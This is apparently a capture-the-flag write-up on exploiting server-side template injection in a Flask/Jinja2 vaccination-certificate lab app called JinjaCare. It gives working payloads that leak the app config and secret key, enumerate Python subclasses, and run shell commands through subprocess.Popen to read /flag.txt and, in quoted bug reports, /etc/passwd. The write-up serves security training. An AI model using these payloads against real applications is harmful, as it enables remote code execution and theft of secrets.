JinjaCare
Context
JinjaCare is a web application designed to help citizens manage and access their COVID-19 vaccination records. The platform allows users to store their vaccination history and generate digital certificates. They've asked you to hunt for any potential security issues in their application and retrieve the flag stored in their site.
📝 Related Bug Bounty Reports
- Bug Report #1 - RCE via SSTI
- Bug Report #2 - SSTI
Summary of the Reports
Report #125980 – RCE via SSTI in Flask/Jinja2
- Target used Flask + Jinja2
- An endpoint rendered user input directly into a template
- Payload:
{{''.__class__.__mro__[2].__subclasses__()}}
used to enumerate classes - Found the
subprocess.Popen
class and used it to get RCE via:{{''.__class__.__mro__[2].__subclasses__()[<INDEX>](["id"], shell=True, stdout=-1).communicate()}}
Report #1104349 – SSTI in PDF Generation
- Vulnerability found in certificate PDF generation
- Attacker submitted a malicious name value like:
{{7*7}}
- PDF generation rendered the user's name using Jinja2
- Resulting PDF showed
49
, confirming SSTI - Later escalated to RCE using the same class chain payload:
{{''.__class__.__mro__[2].__subclasses__()[index]('cat /etc/passwd', shell=True, stdout=-1).communicate()[0].decode()}}
Exploitation
First, to escalate privileges, I created an account. Later I saw input fields valuable for the SSTI vulnerability. There is one specific field which was vulnerable to revealing information in the certificate.
Initial Payload Testing
Payload 1:
{{ config }}
Response:
Name: <Config {'DEBUG': True, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': '60eafc7593c192b34aaca09a60cbaa34fee7266e059c0aea79c9000bb24aed47', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}> Vaccination Status: Fully Vaccinated Date of Issue: 2025-06-27
Class Enumeration
When attempting to enumerate classes:
{{''.__class__.__mro__[2].__subclasses__()}}
The response was:
Error generating certificate: tuple object has no element 2
Further Enumeration
Using the following payloads:
{{ ''.__class__.__mro__[1].__subclasses__()[0].__name__ }}
{{ ''.__class__.__mro__[1].__subclasses__()[1].__name__ }}
{{ ''.__class__.__mro__[1].__subclasses__()[2].__name__ }}
Returned:
weakref weakcallableproxy weakproxy
Finding Popen
Used a loop to find popen:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{{ loop.index0 }} - {{ c.__name__ }}<br>
{% endfor %}
Final Exploitation
Used the following payload to reveal the flag:
{{ ''.__class__.__mro__[1].__subclasses__()[359]('cat /flag.txt', shell=True, stdout=-1).communicate()[0].decode() }}
This revealed the flag in the certificate!
